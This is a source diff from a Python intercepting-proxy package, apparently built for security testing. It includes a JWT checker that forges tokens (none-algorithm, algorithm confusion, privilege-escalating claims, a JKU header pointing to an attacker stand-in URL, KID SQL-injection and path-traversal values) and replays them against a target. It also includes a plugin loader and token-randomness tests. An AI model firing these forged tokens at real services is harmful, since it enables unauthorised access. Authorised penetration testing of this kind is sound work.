pypproxy 0.1.0__py3-none-any.whl

pypproxy/security/jwt_checker.py

@@ -0,0 +1,273 @@
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+import json
+import re
+from dataclasses import dataclass
+
+
+@dataclass
+class JWTCheckResult:
+    vector: str
+    description: str
+    modified_token: str = ""
+    status_code: int = 0
+    response_body: bytes = b""
+    duration_ms: int = 0
+    suspicious: bool = False
+    note: str = ""
+
+    def to_dict(self) -> dict:
+        import base64 as b64
+
+        return {
+            "vector": self.vector,
+            "description": self.description,
+            "modified_token": self.modified_token,
+            "status_code": self.status_code,
+            "response_body": b64.b64encode(self.response_body).decode()
+            if self.response_body
+            else "",
+            "duration_ms": self.duration_ms,
+            "suspicious": self.suspicious,
+            "note": self.note,
+        }
+
+
+def _b64url_decode(s: str) -> bytes:
+    s += "=" * (-len(s) % 4)
+    return base64.urlsafe_b64decode(s)
+
+
+def _b64url_encode(b: bytes) -> str:
+    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
+
+
+def _parse_jwt(token: str) -> tuple[dict, dict, str] | None:
+    parts = token.split(".")
+    if len(parts) != 3:
+        return None
+    try:
+        header = json.loads(_b64url_decode(parts[0]))
+        payload = json.loads(_b64url_decode(parts[1]))
+        return header, payload, parts[2]
+    except Exception:
+        return None
+
+
+def _make_jwt(header: dict, payload: dict, signature: str = "") -> str:
+    h = _b64url_encode(json.dumps(header, separators=(",", ":")).encode())
+    p = _b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
+    return f"{h}.{p}.{signature}"
+
+
+def generate_test_tokens(token: str) -> list[tuple[str, str, str]]:
+    """
+    Generate attack tokens from a valid JWT.
+    Returns list of (vector_name, description, modified_token).
+    """
+    parsed = _parse_jwt(token)
+    if parsed is None:
+        return []
+
+    header, payload, sig = parsed
+    results: list[tuple[str, str, str]] = []
+
+    # 1. None algorithm
+    h_none = dict(header)
+    h_none["alg"] = "none"
+    results.append(
+        ("none_alg", "Algorithm set to 'none' (no signature)", _make_jwt(h_none, payload, ""))
+    )
+
+    for variant in ("None", "NONE", "nOnE"):
+        h_v = dict(header)
+        h_v["alg"] = variant
+        results.append(
+            (f"none_alg_{variant}", f"Algorithm set to '{variant}'", _make_jwt(h_v, payload, ""))
+        )
+
+    # 2. alg confusion: RS256 → HS256 (sign with public key as HMAC secret)
+    if header.get("alg", "").startswith("RS"):
+        h_hs = dict(header)
+        h_hs["alg"] = "HS256"
+        unsigned = _make_jwt(h_hs, payload, "").rsplit(".", 1)[0]
+        fake_sig = _b64url_encode(
+            hmac.new(b"public-key-here", unsigned.encode(), hashlib.sha256).digest()
+        )
+        results.append(
+            (
+                "alg_confusion_rs_hs",
+                "RS256→HS256 algorithm confusion",
+                _make_jwt(h_hs, payload, fake_sig),
+            )
+        )
+
+    # 3. Empty signature
+    results.append(("empty_sig", "Empty signature", _make_jwt(header, payload, "")))
+
+    # 4. Payload manipulation — remove exp
+    if "exp" in payload:
+        p_no_exp = dict(payload)
+        del p_no_exp["exp"]
+        results.append(("no_exp", "Removed 'exp' claim", _make_jwt(header, p_no_exp, sig)))
+
+    # 5. Payload manipulation — extend exp far future
+    if "exp" in payload:
+        p_ext = dict(payload)
+        p_ext["exp"] = 9999999999
+        results.append(
+            ("extended_exp", "Extended 'exp' to year 2286", _make_jwt(header, p_ext, sig))
+        )
+
+    # 6. Privilege escalation attempts
+    priv_fields = {
+        "role": ["admin", "superuser", "root"],
+        "is_admin": [True],
+        "admin": [True],
+        "scope": ["admin"],
+    }
+    for field_name, values in priv_fields.items():
+        if field_name in payload:
+            for val in values:
+                p_priv = dict(payload)
+                p_priv[field_name] = val
+                results.append(
+                    (
+                        f"priv_escalation_{field_name}",
+                        f"Set {field_name}={val!r}",
+                        _make_jwt(header, p_priv, sig),
+                    )
+                )
+
+    # 7. JKU header injection
+    h_jku = dict(header)
+    h_jku["jku"] = "http://attacker.example.com/jwks.json"
+    results.append(
+        (
+            "jku_injection",
+            "JKU header pointing to attacker-controlled URL",
+            _make_jwt(h_jku, payload, sig),
+        )
+    )
+
+    # 8. KID injection
+    h_kid_sqli = dict(header)
+    h_kid_sqli["kid"] = "' OR 1=1--"
+    results.append(("kid_sqli", "KID SQL injection", _make_jwt(h_kid_sqli, payload, sig)))
+
+    h_kid_path = dict(header)
+    h_kid_path["kid"] = "../../dev/null"
+    results.append(
+        ("kid_path_traversal", "KID path traversal", _make_jwt(h_kid_path, payload, sig))
+    )
+
+    # 9. Original sig with modified payload (signature bypass)
+    p_modified = dict(payload)
+    p_modified["_test"] = "paxy"
+    results.append(
+        (
+            "sig_bypass",
+            "Modified payload with original signature",
+            _make_jwt(header, p_modified, sig),
+        )
+    )
+
+    return results
+
+
+async def run_checks(
+    token: str,
+    entry_id: int,
+    method: str,
+    scheme: str,
+    host: str,
+    path: str,
+    query: str,
+    headers: dict[str, list[str]],
+    body: bytes,
+    timeout: int = 30,
+) -> list[JWTCheckResult]:
+    import time
+
+    import httpx
+
+    test_tokens = generate_test_tokens(token)
+    results: list[JWTCheckResult] = []
+
+    # baseline — original request
+    baseline_status = 0
+    async with httpx.AsyncClient(verify=False, timeout=timeout, http2=True) as client:
+        try:
+            url = f"{scheme}://{host}{path}" + (f"?{query}" if query else "")
+            req_headers = {k: ", ".join(v) for k, v in headers.items()}
+            resp = await client.request(method=method, url=url, headers=req_headers, content=body)
+            baseline_status = resp.status_code
+        except Exception:
+            pass
+
+    for vector, description, modified_token in test_tokens:
+        mod_headers = dict(headers)
+        # Replace token in Authorization header
+        auth = ", ".join(headers.get("authorization", [""])).strip()
+        if auth.lower().startswith("bearer "):
+            mod_headers["authorization"] = [f"Bearer {modified_token}"]
+        else:
+            mod_headers["authorization"] = [f"Bearer {modified_token}"]
+
+        req_headers = {k: ", ".join(v) for k, v in mod_headers.items()}
+        url = f"{scheme}://{host}{path}" + (f"?{query}" if query else "")
+
+        start = time.monotonic()
+        status_code = 0
+        resp_body = b""
+        try:
+            async with httpx.AsyncClient(verify=False, timeout=timeout, http2=True) as client:
+                resp = await client.request(
+                    method=method, url=url, headers=req_headers, content=body
+                )
+            status_code = resp.status_code
+            resp_body = resp.content
+        except Exception as e:
+            resp_body = str(e).encode()
+
+        dur = int((time.monotonic() - start) * 1000)
+
+        # Suspicious: server accepted modified token (2xx when baseline was also 2xx means no change;
+        # but if baseline was 401/403 and modified gets 2xx that's very suspicious)
+        suspicious = (status_code in range(200, 300) and baseline_status in (401, 403, 0)) or (
+            vector in ("none_alg", "alg_confusion_rs_hs", "empty_sig")
+            and status_code in range(200, 300)
+        )
+
+        results.append(
+            JWTCheckResult(
+                vector=vector,
+                description=description,
+                modified_token=modified_token[:80] + "...",
+                status_code=status_code,
+                response_body=resp_body[:512],
+                duration_ms=dur,
+                suspicious=suspicious,
+            )
+        )
+
+    return results
+
+
+def extract_jwt_from_headers(headers: dict[str, list[str]]) -> str | None:
+    auth = headers.get("authorization", [""])
+    for val in auth:
+        m = re.match(r"Bearer\s+([A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*)", val)
+        if m:
+            return m.group(1)
+    # Also check cookies
+    for val in headers.get("cookie", []):
+        m = re.search(r"([A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*)", val)
+        if m:
+            token = m.group(1)
+            if _parse_jwt(token):
+                return token
+    return None

pypproxy/security/plugin.py

@@ -0,0 +1,152 @@
+from __future__ import annotations
+
+import importlib.util
+import logging
+import threading
+from dataclasses import dataclass
+from pathlib import Path
+
+from pypproxy.store.models import Entry
+
+logger = logging.getLogger(__name__)
+
+
+@dataclass
+class PluginInfo:
+    name: str
+    version: str
+    description: str
+    path: str
+
+
+class PluginBase:
+    """Base class for paxy plugins. Override any hooks you need."""
+
+    name: str = "unnamed"
+    version: str = "0.1.0"
+    description: str = ""
+
+    def on_request(self, entry: Entry) -> Entry | None:
+        """Called before a request is forwarded. Return modified entry or None to skip."""
+        return entry
+
+    def on_response(self, entry: Entry) -> Entry | None:
+        """Called after a response is received. Return modified entry or None to skip."""
+        return entry
+
+    def on_entry_added(self, entry: Entry) -> None:
+        """Called when an entry is added to the store."""
+
+    def ui_tab(self) -> dict | None:
+        """Return {'title': str, 'build': callable(container)} to add a UI tab, or None."""
+        return None
+
+
+class PluginManager:
+    def __init__(self, plugin_dir: str | None = None) -> None:
+        self._plugins: list[PluginBase] = []
+        self._lock = threading.Lock()
+        self._plugin_dir = plugin_dir or str(Path.home() / ".paxy" / "plugins")
+
+    def load_directory(self) -> int:
+        """Load all .py files from the plugin directory. Returns count loaded."""
+        d = Path(self._plugin_dir)
+        if not d.exists():
+            d.mkdir(parents=True, exist_ok=True)
+            return 0
+
+        count = 0
+        for py_file in sorted(d.glob("*.py")):
+            if py_file.name.startswith("_"):
+                continue
+            try:
+                self.load_file(str(py_file))
+                count += 1
+            except Exception as e:
+                logger.warning("Failed to load plugin %s: %s", py_file.name, e)
+        return count
+
+    def load_file(self, path: str) -> PluginBase:
+        spec = importlib.util.spec_from_file_location(f"paxy_plugin_{Path(path).stem}", path)
+        if spec is None or spec.loader is None:
+            raise ImportError(f"Cannot load: {path}")
+        mod = importlib.util.module_from_spec(spec)
+        spec.loader.exec_module(mod)  # type: ignore[union-attr]
+
+        # Find PluginBase subclass in module
+        plugin_cls = None
+        for attr in vars(mod).values():
+            if isinstance(attr, type) and issubclass(attr, PluginBase) and attr is not PluginBase:
+                plugin_cls = attr
+                break
+
+        if plugin_cls is None:
+            raise ImportError(f"No PluginBase subclass found in {path}")
+
+        instance = plugin_cls()
+        with self._lock:
+            self._plugins.append(instance)
+        logger.info("Loaded plugin: %s v%s from %s", instance.name, instance.version, path)
+        return instance
+
+    def unload(self, name: str) -> None:
+        with self._lock:
+            self._plugins = [p for p in self._plugins if p.name != name]
+
+    def list(self) -> list[PluginInfo]:
+        with self._lock:
+            return [
+                PluginInfo(
+                    name=p.name,
+                    version=p.version,
+                    description=p.description,
+                    path=getattr(p, "__module__", ""),
+                )
+                for p in self._plugins
+            ]
+
+    def run_on_request(self, entry: Entry) -> Entry:
+        with self._lock:
+            plugins = list(self._plugins)
+        for p in plugins:
+            try:
+                result = p.on_request(entry)
+                if result is not None:
+                    entry = result
+            except Exception as e:
+                logger.warning("Plugin %s on_request error: %s", p.name, e)
+        return entry
+
+    def run_on_response(self, entry: Entry) -> Entry:
+        with self._lock:
+            plugins = list(self._plugins)
+        for p in plugins:
+            try:
+                result = p.on_response(entry)
+                if result is not None:
+                    entry = result
+            except Exception as e:
+                logger.warning("Plugin %s on_response error: %s", p.name, e)
+        return entry
+
+    def run_on_entry_added(self, entry: Entry) -> None:
+        with self._lock:
+            plugins = list(self._plugins)
+        for p in plugins:
+            try:
+                p.on_entry_added(entry)
+            except Exception as e:
+                logger.warning("Plugin %s on_entry_added error: %s", p.name, e)
+
+    def get_ui_tabs(self) -> list[dict]:
+        with self._lock:
+            plugins = list(self._plugins)
+        tabs = []
+        for p in plugins:
+            try:
+                tab = p.ui_tab()
+                if tab:
+                    tabs.append(tab)
+            except Exception as e:
+                logger.warning("Plugin %s ui_tab error: %s", p.name, e)
+        return tabs

pypproxy/security/randomness.py

@@ -0,0 +1,165 @@
+from __future__ import annotations
+
+import base64
+import math
+import re
+from dataclasses import dataclass
+
+
+@dataclass
+class RandomnessResult:
+    test_name: str
+    passed: bool
+    score: float
+    detail: str
+
+    def to_dict(self) -> dict:
+        return {
+            "test_name": self.test_name,
+            "passed": self.passed,
+            "score": round(self.score, 4),
+            "detail": self.detail,
+        }
+
+
+def analyse_token(token: str) -> list[RandomnessResult]:
+    """Run statistical randomness tests on a token string."""
+    # Try to decode base64/base64url tokens
+    bits = _token_to_bits(token)
+    if not bits:
+        return [RandomnessResult("parse", False, 0.0, "Could not extract bits from token")]
+
+    results: list[RandomnessResult] = []
+    results.append(_frequency_test(bits))
+    results.append(_runs_test(bits))
+    results.append(_longest_run_test(bits))
+    results.append(_entropy_test(token))
+    results.append(_serial_test(bits))
+    return results
+
+
+def _token_to_bits(token: str) -> list[int]:
+    # strip JWT signature part
+    if token.count(".") == 2:
+        token = token.split(".")[1]  # use payload
+
+    # try base64url decode
+    for attempt in (token, token + "=" * (-len(token) % 4)):
+        try:
+            raw = base64.urlsafe_b64decode(attempt)
+            return [int(b) for byte in raw for b in format(byte, "08b")]
+        except Exception:
+            pass
+
+    # treat as hex
+    try:
+        clean = re.sub(r"[^0-9a-fA-F]", "", token)
+        if len(clean) >= 16:
+            raw = bytes.fromhex(clean)
+            return [int(b) for byte in raw for b in format(byte, "08b")]
+    except Exception:
+        pass
+
+    # use raw bytes
+    raw = token.encode()
+    return [int(b) for byte in raw for b in format(byte, "08b")]
+
+
+def _frequency_test(bits: list[int]) -> RandomnessResult:
+    """NIST SP800-22 frequency (monobit) test."""
+    n = len(bits)
+    s = sum(1 if b else -1 for b in bits)
+    s_obs = abs(s) / math.sqrt(n)
+    p_value = math.erfc(s_obs / math.sqrt(2))
+    passed = p_value >= 0.01
+    ratio = sum(bits) / n
+    return RandomnessResult(
+        "Frequency (monobit)",
+        passed,
+        p_value,
+        f"Ones ratio={ratio:.3f} (ideal=0.5), p={p_value:.4f}",
+    )
+
+
+def _runs_test(bits: list[int]) -> RandomnessResult:
+    """NIST runs test."""
+    n = len(bits)
+    ones = sum(bits)
+    pi = ones / n
+
+    if abs(pi - 0.5) >= 2 / math.sqrt(n):
+        return RandomnessResult(
+            "Runs",
+            False,
+            0.0,
+            f"Pre-condition failed: ones ratio={pi:.3f} too far from 0.5",
+        )
+
+    v_obs = 1 + sum(1 for i in range(n - 1) if bits[i] != bits[i + 1])
+    num = abs(v_obs - 2 * n * pi * (1 - pi))
+    den = 2 * math.sqrt(2 * n) * pi * (1 - pi)
+    p_value = math.erfc(num / den)
+    passed = p_value >= 0.01
+    return RandomnessResult("Runs", passed, p_value, f"runs={v_obs}, p={p_value:.4f}")
+
+
+def _longest_run_test(bits: list[int]) -> RandomnessResult:
+    """Longest run of ones test (simplified)."""
+    longest = 0
+    current = 0
+    for b in bits:
+        if b == 1:
+            current += 1
+            longest = max(longest, current)
+        else:
+            current = 0
+
+    n = len(bits)
+    expected = math.log2(n) if n > 0 else 0
+    ratio = longest / expected if expected > 0 else float("inf")
+    passed = ratio < 3.0
+    return RandomnessResult(
+        "Longest run",
+        passed,
+        1.0 / ratio if ratio > 0 else 0.0,
+        f"longest_run={longest}, expected~{expected:.1f}, ratio={ratio:.2f}",
+    )
+
+
+def _entropy_test(token: str) -> RandomnessResult:
+    """Shannon entropy of the token characters."""
+    from collections import Counter
+
+    counts = Counter(token)
+    n = len(token)
+    entropy = -sum((c / n) * math.log2(c / n) for c in counts.values() if c > 0)
+    max_entropy = math.log2(len(counts)) if len(counts) > 1 else 0
+    ratio = entropy / max_entropy if max_entropy > 0 else 0
+    passed = ratio >= 0.7
+    return RandomnessResult(
+        "Shannon entropy",
+        passed,
+        ratio,
+        f"entropy={entropy:.2f} bits, max={max_entropy:.2f}, ratio={ratio:.2f}",
+    )
+
+
+def _serial_test(bits: list[int]) -> RandomnessResult:
+    """Serial (digram frequency) test."""
+    from collections import Counter
+
+    n = len(bits)
+    if n < 4:
+        return RandomnessResult("Serial", False, 0.0, "Too few bits")
+
+    digrams = Counter(zip(bits, bits[1:], strict=False))
+    expected = (n - 1) / 4
+    chi2 = sum((c - expected) ** 2 / expected for c in digrams.values())
+    # 3 degrees of freedom, rough threshold
+    passed = chi2 < 16.27  # chi2 p=0.001, df=3
+    return RandomnessResult(
+        "Serial (digram)",
+        passed,
+        1.0 / (1 + chi2 / 10),
+        f"chi2={chi2:.2f} (threshold<16.27)",
+    )